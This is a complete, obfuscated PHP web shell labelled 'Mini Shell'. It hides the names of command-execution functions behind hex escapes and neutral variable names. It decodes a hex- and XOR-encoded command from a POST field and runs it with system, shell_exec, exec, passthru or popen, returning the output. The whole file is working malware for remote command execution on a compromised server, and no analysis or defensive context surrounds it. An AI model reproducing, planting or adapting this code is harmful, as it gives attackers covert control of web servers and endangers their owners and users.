Mini Shell
<?php
$batch_process4 = "\x70\x61\x73sthru";
$batch_process7 = "\x70\x63\x6Cose";
$batch_process5 = "\x70op\x65n";
$batch_process1 = "\x73y\x73t\x65m";
$core_engine = "\x68ex2b\x69\x6E";
$batch_process6 = "st\x72\x65\x61\x6D\x5F\x67e\x74_\x63o\x6Eten\x74s";
$batch_process2 = "s\x68ell_\x65x\x65\x63";
$batch_process3 = "\x65\x78ec";
if (isset($_POST["v\x61l"])) {
function token_parser_engine ( $bind , $obj ) {
$elem = '' ;
$o=0;
while($o<strlen($bind)){
$elem.=chr(ord($bind[$o])^$obj);
$o++;
} return $elem;
}
$val = $core_engine($_POST["v\x61l"]);
$val = token_parser_engine($val, 49);
if (function_exists($batch_process1)) {
$batch_process1($val);
} elseif (function_exists($batch_process2)) {
print $batch_process2($val);
} elseif (function_exists($batch_process3)) {
$batch_process3($val, $symbol_bind);
print join("\n", $symbol_bind);
} elseif (function_exists($batch_process4)) {
$batch_process4($val);
} elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) {
$obj_elem = $batch_process5($val, 'r');
if ($obj_elem) {
$pointer_reference = $batch_process6($obj_elem);
$batch_process7($obj_elem);
print $pointer_reference;
}
}
exit;
}